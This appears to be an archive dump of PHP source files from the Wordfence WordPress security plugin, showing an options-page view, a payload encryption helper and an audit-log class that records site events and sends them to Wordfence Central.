'wf-unified-waf-options-ratelimiting', ))->render(); echo wfView::create('waf/options-group-whitelisted', array( 'firewall' => $firewall, 'waf' => $waf, 'stateKey' => 'wf-unified-waf-options-whitelisted', ))->render(); ?> __('Blocking Options', 'wordfence'), 'showIcon' => false, ))->render(); echo wfView::create('blocking/options-group-advanced-country', array( 'stateKey' => 'wf-unified-blocking-options-country', ))->render(); ?> __('Scan Options', 'wordfence'), 'showIcon' => false, ))->render(); echo wfView::create('scanner/options-group-scan-schedule', array( 'scanner' => $scanner, 'stateKey' => 'wf-unified-scanner-options-schedule', ))->render(); echo wfView::create('scanner/options-group-basic', array( 'scanner' => $scanner, 'stateKey' => 'wf-unified-scanner-options-basic', ))->render(); echo wfView::create('scanner/options-group-general', array( 'scanner' => $scanner, 'stateKey' => 'wf-unified-scanner-options-general', ))->render(); echo wfView::create('scanner/options-group-performance', array( 'scanner' => $scanner, 'stateKey' => 'wf-unified-scanner-options-performance', ))->render(); echo wfView::create('scanner/options-group-advanced', array( 'scanner' => $scanner, 'stateKey' => 'wf-unified-scanner-options-custom', ))->render(); ?> __('Tool Options', 'wordfence'), 'showIcon' => false, ))->render(); if (wfCredentialsController::useLegacy2FA()) { echo wfView::create('tools/options-group-2fa', array( 'stateKey' => 'wf-unified-2fa-options', ))->render(); } echo wfView::create('tools/options-group-live-traffic', array( 'stateKey' => 'wf-unified-live-traffic-options', 'hideShowMenuItem' => true, ))->render(); require(__DIR__ . '/wfVersionSupport.php'); /** @var $wfFeatureWPVersionAuditLog */ require(ABSPATH . WPINC . '/version.php'); /** @var string $wp_version */ $wpTooOld = version_compare($wp_version, $wfFeatureWPVersionAuditLog, '<'); echo wfView::create('tools/options-group-audit-log', array( 'stateKey' => 'wf-unified-audit-log-options', 'hideShowMenuItem' => true, 'wpTooOld' => $wpTooOld, ))->render(); ?>
optionBlocks; foreach ($moduleOptionBlocks as $b) { echo $b; } ?>
wfCrypt.php000064400000010062147206764270006731 0ustar00 , 'signature' => ). */ public static function noc1_encrypt($payload) { $payloadJSON = json_encode($payload); $keyData = file_get_contents(dirname(__FILE__) . '/noc1.key'); $key = @openssl_get_publickey($keyData); if ($key !== false) { $symmetricKey = wfWAFUtils::random_bytes(32); $iv = wfWAFUtils::random_bytes(16); $encrypted = @openssl_encrypt($payloadJSON, 'aes-256-cbc', $symmetricKey, OPENSSL_RAW_DATA, $iv); if ($encrypted !== false) { $success = openssl_public_encrypt($symmetricKey, $symmetricKeyEncrypted, $key, OPENSSL_PKCS1_OAEP_PADDING); if ($success) { $message = $iv . $symmetricKeyEncrypted . $encrypted; $signatureRaw = hash('sha256', $message, true); $success = openssl_public_encrypt($signatureRaw, $signature, $key, OPENSSL_PKCS1_OAEP_PADDING); if ($success) { $package = array('message' => bin2hex($message), 'signature' => bin2hex($signature)); return $package; } } } } return array(); } /** * Returns a SHA256 HMAC for $payload using the local long key. * * @param $payload * @return false|string */ public static function local_sign($payload) { return hash_hmac('sha256', $payload, wfConfig::get('longEncKey')); } } wfAuditLog.php000064400000136211147206764270007345 0ustar00 $events) { if (isset($categoryCache[$category])) { $categoryCache[$category] = array_merge($categoryCache[$category], $events); } else { $categoryCache[$category] = $events; } } } } return $categoryCache; } /** * Returns the category for $event, null if not found. * * @param string $event * @return string|null */ public static function eventCategory($event) { static $reverseCategoryMapCache = null; if ($reverseCategoryMapCache === null) { $reverseCategoryMapCache = array(); $categories = self::eventCategories(); foreach ($categories as $category => $events) { $reverseCategoryMapCache = array_merge($reverseCategoryMapCache, array_fill_keys($events, $category)); } } if (isset($reverseCategoryMapCache[$event])) { return $reverseCategoryMapCache[$event]; } return null; } /** * Returns the event names suitable for display in the Audit Log page's UI. Individual observer grouping subclasses * must override this and return their subset of the event names. The primary audit log class will return an array * of all observer groupings merged together. * * * @return array */ public static function eventNames() { static $nameCache = null; if ($nameCache === null) { $nameCache = array(); $observers = self::_observers(); foreach ($observers as $o) { $nameCache = array_merge($nameCache, call_user_func(array($o, 'eventNames'))); } } return $nameCache; } /** * Returns the display name for the given event identifier. * * @param string $event * @return string */ public static function eventName($event) { $map = self::eventNames(); if (isset($map[$event])) { return $map[$event]; } return __('Unknown Events', 'wordfence'); } /** * Returns the event rate limiters for use in preprocessing events that occur. A rate limiter for an event type * should use the passed $auditLog and $payload values to determine whether the proposed event should be recorded. * The primary audit log class will return an array of all observer groupings merged together. * * * @return array */ public static function eventRateLimiters() { static $rateLimiterCache = null; if ($rateLimiterCache === null) { $rateLimiterCache = array(); $observers = self::_observers(); foreach ($observers as $o) { $rateLimiterCache = array_merge($rateLimiterCache, call_user_func(array($o, 'eventRateLimiters'))); } } return $rateLimiterCache; } /** * Consumes the rate limiter by setting a transient for the given $ttl. Currently this just allows a bucket of one, * but this could be refactored in the future to allow variable rate limits. * * @param string $event * @param string $payloadSignature * @param int $ttl Default is 10 minutes */ protected static function _rateLimiterConsume($event, $payloadSignature, $ttl = 600) { $key = 'wordfenceAuditEvent:' . $event . ':' . $payloadSignature; set_transient($key, time(), $ttl); } /** * Returns whether or not the rate limiter is available. The return value is `true` if it is, otherwise `false`. * * @param string $event * @param string $payloadSignature * @return bool */ protected static function _rateLimiterCheck($event, $payloadSignature) { $key = 'wordfenceAuditEvent:' . $event . ':' . $payloadSignature; return !get_transient($key); } /** * Recursively computes a hash for the given payload in a deterministic way. This may be used in rate limiter * implementations for deduplication checks. * * @param mixed $payload * @param null|HashContext $hasher * @return bool|string */ protected static function _normalizedPayloadHash($payload, $hasher = null) { $first = is_null($hasher); if ($first) { $hasher = hash_init('sha256'); } if (is_array($payload) || is_object($payload)) { $payload = (array) $payload; $keys = array_keys($payload); sort($keys, SORT_REGULAR); foreach ($keys as $k) { $v = $payload[$k]; hash_update($hasher, $k); self::_normalizedPayloadHash($v, $hasher); } } else if (is_scalar($payload)) { hash_update($hasher, $payload); } if ($first) { return hash_final($hasher); } return true; } /** * Returns an array of all observer groupings. * * @return array */ private static function _observers() { return array( wfAuditLogObserversWordPressCoreUser::class, wfAuditLogObserversWordPressCoreSite::class, wfAuditLogObserversWordPressCoreMultisite::class, wfAuditLogObserversWordPressCoreContent::class, wfAuditLogObserversWordfence::class, ); } /** * Registers the observers for this class's chunk of functionality that should run regardless of other settings. * These observers are expected to do their own check and application of settings like the audit log's mode or * the `Participate in the Wordfence Security Network` setting. * * @param wfAuditLog $auditLog */ protected static function _registerForcedObservers($auditLog) { //Individual forced observer groupings may override this } /** * Registers the observers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerObservers($auditLog) { //Individual observer groupings will override this } /** * Registers the data gatherers for this class's chunk of functionality. These are secondary hooks to support * intermediate data gathering (e.g., grabbing the user attempting to authenticate even if it fails) * * @param wfAuditLog $auditLog */ protected static function _registerDataGatherers($auditLog) { //Individual data gatherer groupings will override this } /** * Registers the coalescers for this class's chunk of functionality. * * @param wfAuditLog $auditLog */ protected static function _registerCoalescers($auditLog) { //Individual coalescer groupings will override this } public static function heartbeat() { if (wfAuditLog::shared()->mode() != wfAuditLog::AUDIT_LOG_MODE_DISABLED && wfAuditLog::shared()->mode() != wfAuditLog::AUDIT_LOG_MODE_PREVIEW) { wfAuditLog::shared()->_recordAction(self::AUDIT_LOG_HEARTBEAT); } } /** * Returns the effective audit log mode after factoring in the active license type and resolving the default based * on that type. Will be one of the wfAuditLog::AUDIT_LOG_MODE_* constants that is not AUDIT_LOG_MODE_DEFAULT. * * @return string */ public function mode() { require(__DIR__ . '/wfVersionSupport.php'); /** @var $wfFeatureWPVersionAuditLog */ require(ABSPATH . WPINC . '/version.php'); /** @var string $wp_version */ if (version_compare($wp_version, $wfFeatureWPVersionAuditLog, '<')) { return self::AUDIT_LOG_MODE_DISABLED; } $mode = wfConfig::get('auditLogMode', self::AUDIT_LOG_MODE_DEFAULT); $license = wfLicense::current(); if (!$license->isPaidAndCurrent() || !$license->isAtLeastPremium()) { if ($mode == self::AUDIT_LOG_MODE_DISABLED) { return $mode; } return self::AUDIT_LOG_MODE_PREVIEW; } if ($mode == self::AUDIT_LOG_MODE_DEFAULT) { if (!$license->isAtLeastCare()) { return self::AUDIT_LOG_MODE_PREVIEW; } return self::AUDIT_LOG_MODE_SIGNIFICANT; } return $mode; } public function registerHooks() { self::$initialMode = $this->mode(); require(ABSPATH . WPINC . '/version.php'); /** @var string $wp_version */ self::$initialCoreVersion = $wp_version; $observers = self::_observers(); foreach ($observers as $o) { call_user_func(array($o, '_registerForcedObservers'), $this); } if ($this->mode() == self::AUDIT_LOG_MODE_DISABLED) { return; } if ($this->mode() == self::AUDIT_LOG_MODE_PREVIEW) { //When in preview mode, we register the local-only observers to keep the preview data fresh locally wfAuditLogObserversPreview::_registerObservers($this); wfAuditLogObserversPreview::_registerDataGatherers($this); wfAuditLogObserversPreview::_registerCoalescers($this); return; } foreach ($observers as $o) { call_user_func(array($o, '_registerObservers'), $this); call_user_func(array($o, '_registerDataGatherers'), $this); call_user_func(array($o, '_registerCoalescers'), $this); } } /** * Convenience method to add a listener for one or more WordPress hooks. This simplifies the normal flow of adding * a listener by using introspection on the passed callable to pass the correct arguments. * * @param array|string $hooks * @param callable $closure * @param string $type */ protected function _addObserver($hooks, $closure, $type = 'action') { if (!is_array($hooks)) { $hooks = array($hooks); } try { $introspection = new ReflectionFunction($closure); if ($type == 'action') { foreach ($hooks as $hook) { add_action($hook, $closure, 1, $introspection->getNumberOfParameters()); } } else if ($type == 'filter') { foreach ($hooks as $hook) { add_filter($hook, $closure, 1, $introspection->getNumberOfParameters()); } } } catch (Exception $e) { //Ignore } } protected function _addCoalescer($closure) { $this->_coalescers[] = $closure; } /** * Returns whether or not a state value exists for the given key/blog pair. * * @param string $key * @param int $id An ID when tracking multiple potential states. May be the blog ID if multisite or a user ID. * @return bool */ protected function _hasState($key, $id = 1) { if ($id < 0) { $id = 0; } if (!isset($this->_state[$id])) { return false; } return isset($this->_state[$id][$key]); } /** * Stores a state value under the key/blog pair for later use in this request. * * @param string $key * @param mixed $value * @param int $id An ID when tracking multiple potential states. May be the blog ID if multisite or a user ID. */ protected function _trackState($key, $value, $id = 1) { if ($id < 0) { $id = 0; } if (!isset($this->_state[$id])) { $this->_state[$id] = array(); } $this->_state[$id][$key] = $value; } /** * Returns the state value for the key/blog pair if present, otherwise null. * * @param string $key * @param int $id An ID when tracking multiple potential states. May be the blog ID if multisite or a user ID. * @return mixed|null */ protected function _getState($key, $id = 1) { if ($id < 0) { $id = 0; } if (!isset($this->_state[$id]) || !isset($this->_state[$id][$key])) { return null; } return $this->_state[$id][$key]; } /** * Returns all site(s)' state values for $key if present. They keys in the returned array are the blog ID. * * @param string $key * @return array Will have at most 1 entry for single-site, potentially many for multisite when applicable. */ protected function _getAllStates($key) { $result = array(); foreach ($this->_state as $id => $state) { if (isset($state[$key])) { $result[$id] = $state[$key]; } } return $result; } /** * Record the action and metadata for later sending to the audit log. * * @param string $action * @param array $metadata * @param bool $appendToExisting When true, does not create a new entry and instead only appends to entries of the same $action */ protected function _recordAction($action, $metadata = array(), $appendToExisting = false) { $rateLimiters = self::eventRateLimiters(); if (isset($rateLimiters[$action])) { if (!$rateLimiters[$action]($this, $metadata)) { return; } } if ($appendToExisting) { foreach ($this->_pending as &$entry) { if ($entry['action'] == $action) { $entry['metadata'] = array_merge($entry['metadata'], $metadata); } } return; } $path = null; $body = null; if (@php_sapi_name() === 'cli' || !array_key_exists('REQUEST_METHOD', $_SERVER)) { if (isset($_SERVER['argv']) && is_array($_SERVER['argv']) && count($_SERVER['argv']) > 0) { $path = $_SERVER['argv'][0] . ' ' . implode(' ', array_map(function($p) { return '\'' . addcslashes($p, '\'') . '\''; }, array_slice($_SERVER['argv'], 1))); $body = array('type' => 'cli', 'files' => array(), 'parameters' => array('argv' => $_SERVER['argv'])); } $method = 'CLI'; } else { $path = $_SERVER['REQUEST_URI']; $method = $_SERVER['REQUEST_METHOD']; if ($_SERVER['REQUEST_METHOD'] != 'GET') { $body = $this->_sanitizeRequestBody(); } } $user = wp_get_current_user(); $entry = array( 'action' => $action, 'time' => wfUtils::normalizedTime(), 'metadata' => $metadata, 'context' => array( 'ip' => wfUtils::getIP(), 'path' => $path, 'method' => $method, 'body' => $body, 'user_id' => $user ? $user->ID : 0, 'userdata' => $this->_sanitizeUserdata($user), ), ); if (is_multisite()) { $network = get_network(); $blog = get_blog_details(); $entry['multisite'] = $this->_sanitizeMultisiteData($network, $blog); } $this->_pending[] = $entry; $this->_needsDestruct(); } /** * Finalizes the pending actions. If cron is disabled or one of the types is on the immedate send list, they are * finalized by immediately sending to the audit log. Otherwise, they are saved to the intermediate storage table * and a send is scheduled. */ private function _savePending() { if (!empty($this->_pending)) { $sendImmediately = false; $immediateSend = self::immediateSendEvents(); $payload = array(); foreach ($this->_pending as $data) { $time = $data['time']; unset($data['time']); if ($data['action'] == self::AUDIT_LOG_HEARTBEAT) { //Minimize payload for heartbeat $payload[] = array( 'type' => $data['action'], 'data' => array(), 'event_time' => $time, ); } else { $payload[] = array( 'type' => $data['action'], 'data' => $data, 'event_time' => $time, ); } $sendImmediately = ($sendImmediately || in_array($data['action'], $immediateSend)); } if (defined('DISABLE_WP_CRON') && DISABLE_WP_CRON) { $sendImmediately = true; } if ($sendImmediately && !wfCentral::isConnected()) { $this->_saveEventsToTable($payload); if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) { $this->_unscheduleSendPendingAuditEvents($ts); } $this->_scheduleSendPendingAuditEvents(); $this->_pending = array(); return; } $before = $payload; if ($sendImmediately) { $requestID = wfConfig::atomicInc('auditLogRequestNumber'); foreach ($payload as &$p) { $p['data'] = json_encode($p['data']); $p['request_id'] = $requestID; } } try { if ($this->_sendAuditLogEvents($payload, $sendImmediately)) { $this->_pending = array(); } } catch (wfAuditLogSendFailedException $e) { if ($sendImmediately) { $this->_saveEventsToTable($before); if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) { $this->_unscheduleSendPendingAuditEvents($ts); } $this->_scheduleSendPendingAuditEvents(true); $this->_pending = array(); } } } } protected function _needsDestruct() { if (!$this->_destructRegistered) { register_shutdown_function(array($this, '_lastAction')); $this->_destructRegistered = true; } } /** * Performed as a shutdown handler to finalize all pending actions. * * Note: must remain `public` for PHP 7 compatibility */ public function _lastAction() { global $wpdb; $suppressed = $wpdb->suppress_errors(!(defined('WFWAF_DEBUG') && WFWAF_DEBUG)); $this->_performingFinalization = true; foreach ($this->_coalescers as $c) { call_user_func($c); } $this->_coalescers = array(); $this->_savePending(); $this->_performingFinalization = false; $wpdb->suppress_errors($suppressed); } public function isFinalizing() { return $this->_performingFinalization; } /** * Performs the actual send of $events to the audit log if $sendImmediately is truthy, otherwise it writes them to * the intermediate storage table and schedules a send. * * @param array $events * @param bool $sendImmediately * @return bool * @throws wfAuditLogSendFailedException */ private function _sendAuditLogEvents($events, $sendImmediately = false) { if (empty($events)) { return true; } if (!wfCentral::isConnected()) { return false; //This will cause it to mark them as unsent and try again later } if ($sendImmediately) { $payload = array(); foreach ($events as $e) { $payload[] = self::_formatEventForTransmission($e); } $siteID = wfConfig::get('wordfenceCentralSiteID'); $request = new wfCentralAuthenticatedAPIRequest('/site/' . $siteID . '/audit-log', 'POST', array( 'data' => $payload, )); try { $doing_cron = function_exists('wp_doing_cron') /* WP >= 4.8 */ ? wp_doing_cron() : (defined('DOING_CRON') && DOING_CRON); $response = $request->execute($doing_cron ? 10 : 3); if ($response->isError()) { throw new wfAuditLogSendFailedException(); } //Group by request and update the local preview $preview = array(); foreach ($payload as $r) { if (!isset($preview[$r['attributes']['request_id']])) { $preview[$r['attributes']['request_id']] = array(); } $preview[$r['attributes']['request_id']][] = array($r['attributes']['type'], $r['attributes']['event_time']); } uksort($preview, function($k1, $k2) { if ($k1 == $k2) { return 0; } return ($k1 < $k2) ? 1 : -1; }); $this->_updateAuditPreview(array_values($preview)); } catch (Exception $e) { if (!defined('WORDFENCE_DEACTIVATING') || !WORDFENCE_DEACTIVATING) { wfCentralAPIRequest::handleInternalCentralAPIError($e); } throw new wfAuditLogSendFailedException(); } catch (Throwable $t) { if (!defined('WORDFENCE_DEACTIVATING') || !WORDFENCE_DEACTIVATING) { wfCentralAPIRequest::handleInternalCentralAPIError($t); } throw new wfAuditLogSendFailedException(); } } else { $this->_saveEventsToTable($events, $sendImmediately); if (($ts = $this->_isScheduledAuditEventCronOverdue()) || $sendImmediately) { if ($ts) { $this->_unscheduleSendPendingAuditEvents($ts); } self::sendPendingAuditEvents(); } else { $this->_scheduleSendPendingAuditEvents(); } } return true; } private function _saveEventsToTable($events, &$sendImmediately = false) { $requestID = wfConfig::atomicInc('auditLogRequestNumber'); $wfdb = new wfDB(); $table_wfAuditEvents = wfDB::networkTable('wfAuditEvents'); $query = "INSERT INTO {$table_wfAuditEvents} (`type`, `data`, `event_time`, `request_id`, `state`, `state_timestamp`) VALUES "; $query .= implode(', ', array_fill(0, count($events), "('%s', '%s', %f, %d, 'new', NOW())")); $immediateSendTypes = self::immediateSendEvents(); $args = array(); foreach ($events as $e) { $sendImmediately = $sendImmediately || in_array($e['type'], $immediateSendTypes); $args[] = $e['type']; $args[] = json_encode($e['data']); $args[] = $e['event_time']; $args[] = $requestID; } $wfdb->queryWriteArray($query, $args); } /** * Sends any pending audit events up to the limit (default 100). The list will automatically expand if needed to include * only complete requests so that no partial requests are sent. * * If the events fail to send or there are more remaining, another future send will be scheduled if $scheduleFollowup is truthy. * * @param int $limit * @param bool $scheduleFollowup Whether or not to schedule a followup send if there are more events pending, if false also unschedules any pending cron */ public static function sendPendingAuditEvents($limit = 100, $scheduleFollowup = true) { $wfdb = new wfDB(); $table_wfAuditEvents = wfDB::networkTable('wfAuditEvents'); $limit = intval($limit); $rawEvents = $wfdb->querySelect("SELECT * FROM {$table_wfAuditEvents} WHERE `state` = 'new' ORDER BY `id` ASC LIMIT {$limit}"); if (empty($rawEvents)) { return; } //Grab the entirety of the last request ID, even if it's beyond the 100 item limit $last = wfUtils::array_last($rawEvents); $extendedID = (int) $last['id']; $extendedRequestID = (int) $last['request_id']; $extendedEvents = $wfdb->querySelect("SELECT * FROM {$table_wfAuditEvents} WHERE `state` = 'new' AND `id` > {$extendedID} AND `request_id` = {$extendedRequestID} ORDER BY `id` ASC"); $rawEvents = array_merge($rawEvents, $extendedEvents); //Process for submission $ids = array(); foreach ($rawEvents as $r) { $ids[] = intval($r['id']); } $idParam = '(' . implode(', ', $ids) . ')'; $wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'sending', `state_timestamp` = NOW() WHERE `id` IN {$idParam}"); try { if (self::shared()->_sendAuditLogEvents($rawEvents, true)) { $wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'sent', `state_timestamp` = NOW() WHERE `id` IN {$idParam}"); if ($scheduleFollowup) { self::checkForUnsentAuditEvents(); } } else { $wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `id` IN {$idParam}"); if ($scheduleFollowup) { self::shared()->_scheduleSendPendingAuditEvents(); } } if (!$scheduleFollowup) { if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) { self::shared()->_unscheduleSendPendingAuditEvents($ts); } } } catch (wfAuditLogSendFailedException $e) { $wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `id` IN {$idParam}"); if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) { self::shared()->_unscheduleSendPendingAuditEvents($ts); } if (!defined('WORDFENCE_DEACTIVATING') || !WORDFENCE_DEACTIVATING) { self::shared()->_scheduleSendPendingAuditEvents(true); } } } /** * Formats the event record for transmission to Central for recording. * * @param array $rawEvent * @return array */ private static function _formatEventForTransmission($rawEvent) { if ($rawEvent['type'] == self::AUDIT_LOG_HEARTBEAT) { //Minimize payload for heartbeat return array( 'type' => 'audit-event', 'attributes' => array( 'type' => $rawEvent['type'], 'event_time' => (int) $rawEvent['event_time'], 'request_id' => (int) $rawEvent['request_id'], ) ); } $data = json_decode($rawEvent['data'], true); if (empty($data)) { $data = array(); } unset($data['action']); $username = null; if (!empty($data['context']['userdata']) && isset($data['context']['userdata']['user_login'])) { $username = $data['context']['userdata']['user_login']; } $ip = null; if (!empty($data['context']['ip'])) { $ip = $data['context']['ip']; unset($data['context']['ip']); } $path = null; if (!empty($data['context']['path'])) { $path = $data['context']['path']; unset($data['context']['path']); } $method = null; if (!empty($data['context']['method'])) { $method = $data['context']['method']; unset($data['context']['method']); } $body = null; if (!empty($data['context']['body'])) { $body = $data['context']['body']; unset($data['context']['body']); } return array( 'type' => 'audit-event', 'attributes' => array( 'type' => $rawEvent['type'], 'username' => $username, 'ip_address' => $ip, 'method' => $method, 'path' => $path, 'request_body' => $body, 'data' => $data, 'event_time' => (int) $rawEvent['event_time'], 'request_id' => (int) $rawEvent['request_id'], ) ); } /** * Schedules a cron for sending pending audit events. */ private function _scheduleSendPendingAuditEvents($forceDelay = false) { if ((self::$initialMode == self::AUDIT_LOG_MODE_DISABLED || self::$initialMode == self::AUDIT_LOG_MODE_PREVIEW) && ($this->mode() == self::AUDIT_LOG_MODE_DISABLED || $this->mode() == self::AUDIT_LOG_MODE_PREVIEW)) { return; //Do not schedule cron if mode is disabled/preview and was not recently put into that state } $delay = 60; if ($forceDelay || !wfCentral::isConnected()) { $delay = 3600; } if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $notMainSite = is_multisite() && !is_main_site(); if ($notMainSite) { global $current_site; switch_to_blog($current_site->blog_id); } if (!wp_next_scheduled('wordfence_batchSendAuditEvents')) { wp_schedule_single_event(time() + $delay, 'wordfence_batchSendAuditEvents'); } if ($notMainSite) { restore_current_blog(); } } /** * @param int $timestamp */ private function _unscheduleSendPendingAuditEvents($timestamp) { if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $notMainSite = is_multisite() && !is_main_site(); if ($notMainSite) { global $current_site; switch_to_blog($current_site->blog_id); } if ($timestamp) { wp_unschedule_event($timestamp, 'wordfence_batchSendAuditEvents'); } if ($notMainSite) { restore_current_blog(); } } private function _isScheduledAuditEventCronOverdue() { if (!defined('DONOTCACHEDB')) { define('DONOTCACHEDB', true); } $notMainSite = is_multisite() && !is_main_site(); if ($notMainSite) { global $current_site; switch_to_blog($current_site->blog_id); } $overdue = false; if ($ts = wp_next_scheduled('wordfence_batchSendAuditEvents')) { if ((time() - $ts) > 900) { $overdue = $ts; } } if ($notMainSite) { restore_current_blog(); } return $overdue; } public static function checkForUnsentAuditEvents() { $wfdb = new wfDB(); $table_wfAuditEvents = wfDB::networkTable('wfAuditEvents'); $wfdb->queryWrite("UPDATE {$table_wfAuditEvents} SET `state` = 'new', `state_timestamp` = NOW() WHERE `state` = 'sending' AND `state_timestamp` < DATE_SUB(NOW(), INTERVAL 30 MINUTE)"); $count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfAuditEvents} WHERE `state` = 'new'"); if ($count) { self::shared()->_scheduleSendPendingAuditEvents(); } } public static function trimAuditEvents() { $wfdb = new wfDB(); $table_wfAuditEvents = wfDB::networkTable('wfAuditEvents'); $count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfAuditEvents}"); if ($count > 1000) { $wfdb->truncate($table_wfAuditEvents); //Similar behavior to other logged data, assume possible DoS so truncate } else if ($count > 100) { $wfdb->queryWrite("DELETE FROM {$table_wfAuditEvents} ORDER BY id ASC LIMIT %d", $count - 100); } else if ($count > 0) { $wfdb->queryWrite("DELETE FROM {$table_wfAuditEvents} WHERE (`state` = 'sending' OR `state` = 'sent') AND `state_timestamp` < DATE_SUB(NOW(), INTERVAL 1 DAY)"); } } public static function hasOverdueEvents() { $wfdb = new wfDB(); $table_wfAuditEvents = wfDB::networkTable('wfAuditEvents'); $count = $wfdb->querySingle("SELECT COUNT(*) AS cnt FROM {$table_wfAuditEvents} WHERE `state` = 'new' AND `state_timestamp` < DATE_SUB(NOW(), INTERVAL 2 DAY)"); return $count > 0; } /** * Updates the locally-stored audit preview data that is used to populate the audit log page. The preview data is * stored in descending order. * * @param array $events Structure is [ * [ //Request 1 * [, ], * [, ], * [, ], * ], * [ //Request 2 * [, ], * ], * ... * ] */ protected function _updateAuditPreview($events) { $filtered = array(); foreach ($events as $request) { $request = array_filter($request, function($e) { return $e[0] != self::AUDIT_LOG_HEARTBEAT; //Don't save heartbeats to the local preview }); if (!empty($request)) { $filtered[] = $request; } } $events = $filtered; if (empty($events)) { return; } $existing = wfConfig::get_ser('lastAuditEvents', array()); if (!is_array($existing)) { $existing = array(); } $lastAuditEvents = array_merge($events, $existing); usort($lastAuditEvents, function($a, $b) { $aMax = array_reduce($a, function($carry, $item) { return max($carry, $item[1]); }, 0); $bMax = array_reduce($b, function($carry, $item) { return max($carry, $item[1]); }, 0); if ($aMax == $bMax) { return 0; } return ($aMax < $bMax) ? 1 : -1; }); $lastAuditEvents = array_slice($lastAuditEvents, 0, self::AUDIT_LOG_MAX_SAMPLES); wfConfig::set_ser('lastAuditEvents', $lastAuditEvents); } /** * Returns a summary array of recent events for the audit log. The content of this array will be the most recent * `AUDIT_LOG_MAX_SAMPLES` requests that were sent (or would have been sent if enabled) to Wordfence Central. * * @return array */ public function auditPreview() { $requests = array_filter(wfConfig::get_ser('lastAuditEvents', array()), function($events) { return !empty($events); }); $data = array(); if (is_array($requests)) { $data['requests'] = array(); foreach ($requests as $r) { $events = array_map(function($e) { return array( 'ts' => $e[1], 'event' => $e[0], 'name' => self::eventName($e[0]), 'category' => self::eventCategory($e[0]), ); }, $r); $types = array_reduce($events, function($carry, $e) { //We'll use the most common category if a request covers multiple if (!isset($carry[$e['category']])) { $carry[$e['category']] = 0; } $carry[$e['category']]++; return $carry; }, array()); asort($types, SORT_NUMERIC); $timestamp = array_reduce($events, function($carry, $e) { if ($e['ts'] > $carry) { return $e['ts']; } return $carry; }, 0); $data['requests'][] = array( 'ts' => $timestamp, 'category' => array_keys($types), 'events' => $events, ); } } return $data; } /************************************** * Utility Functions **************************************/ private function _sanitizeRequestBody() { $input = wfUtils::rawPOSTBody(); $contentType = null; if (isset($_SERVER['CONTENT_TYPE'])) { $contentType = strtolower($_SERVER['CONTENT_TYPE']); $boundary = strpos($contentType, ';'); if ($boundary !== false) { $contentType = substr($contentType, 0, $boundary); } } $raw = null; $response = array('type' => null, 'parameters' => array(), 'files' => array()); switch ($contentType) { case 'application/json': try { $raw = json_decode($input, true, 512, JSON_OBJECT_AS_ARRAY); $response['type'] = 'json'; } catch (Exception $e) { //Ignore -- can throw on PHP 8+ } break; case 'multipart/form-data': //PHP has already parsed this into $_POST and $_FILES $response['type'] = 'multipart'; foreach ($_FILES as $k => $f) { $response['files'][] = array( 'name' => $f['name'], 'type' => $f['type'], 'size' => $f['size'], 'error' => $f['error'], ); } $raw = $_POST; break; default: //Typically application/x-www-form-urlencoded if ($input) { parse_str($input, $raw); $response['type'] = 'urlencoded'; } break; } if (!empty($raw)) { foreach ($raw as $k => $v) { $response['parameters'][$k] = null; if ($k == 'action' || //Used in admin-ajax and many other WP calls, typically relevant for auditing and not sensitive $k == 'id' || //Typically the record ID being affected $k == 'log' //Authentication username ) { $response['parameters'][$k] = $v; } // else if -- future full value captures go here, otherwise we just capture the parameter name for privacy reasons } return $response; } return null; } /** * Returns the desired fields from $userdata for the various user-related hooks, ignoring the rest. Returns null if * there is no valid user. * * @param array|object|WP_User $userdata * @param null|int $user_id Used when provided, otherwise extracted from $userdata when possible * @return array|null */ protected function _sanitizeUserdata($userdata, $user_id = null) { if ($userdata === null && $user_id !== null) { //May hit this on older WP versions where $userdata wasn't populated by the hook call $userdata = get_user_by('ID', $user_id); } $roles = array(); if ($userdata instanceof stdClass) { $user = new WP_User($user_id !== null ? $user_id : (isset($userdata->ID) ? $userdata->ID : 0)); if ($user->exists()) { $roles = $user->roles; } $userdata = get_object_vars( $userdata ); } else if ($userdata instanceof WP_User) { $roles = $userdata->roles; $userdata = $userdata->to_array(); } else { $user = new WP_User($user_id !== null ? $user_id : (isset($userdata['ID']) ? $userdata['ID'] : 0)); if (!$user) { return array( 'user_id' => 0, 'user_login' => '', 'user_roles' => array(), ); } if ($user->exists()) { $roles = $user->roles; } } return array( 'user_id' => $user_id !== null ? $user_id : (isset($userdata['ID']) ? $userdata['ID'] : 0), 'user_login' => isset($userdata['user_login']) ? $userdata['user_login'] : '', 'user_roles' => $roles, ); } protected function _userdataDiff($userdata1, $userdata2) { if ($userdata1 instanceof stdClass) { $userdata1 = get_object_vars( $userdata1 ); } else if ($userdata1 instanceof WP_User) { $userdata1 = $userdata1->to_array(); } if ($userdata2 instanceof stdClass) { $userdata2 = get_object_vars( $userdata2 ); } else if ($userdata2 instanceof WP_User) { $userdata2 = $userdata2->to_array(); } return wfUtils::array_diff_assoc($userdata1, $userdata2); } /** * Returns the desired fields for the multisite ignoring the rest. * * @param WP_Network|false $network * @param WP_Site|false $blog * @return array */ protected function _sanitizeMultisiteData($network, $blog) { $result = array(); if ($network) { $result['network_id'] = $network->id; $result['network_domain'] = $network->domain; $result['network_path'] = $network->path; $result['network_name'] = $network->site_name; } if ($blog) { $result['blog_id'] = $blog->blog_id; $result['blog_domain'] = $blog->domain; $result['blog_path'] = $blog->path; $result['blog_name'] = $blog->blogname; } return $result; } protected function _multisiteDiff($blog1, $blog2) { if ($blog1 instanceof WP_Site) { $blog1 = $this->_sanitizeMultisiteData(false, $blog1); } if ($blog2 instanceof WP_Site) { $blog2 = $this->_sanitizeMultisiteData(false, $blog2); } return wfUtils::array_diff_assoc($blog1, $blog2); } /** * Returns the desired fields from an app password record. * * @param array|object $item * @return array 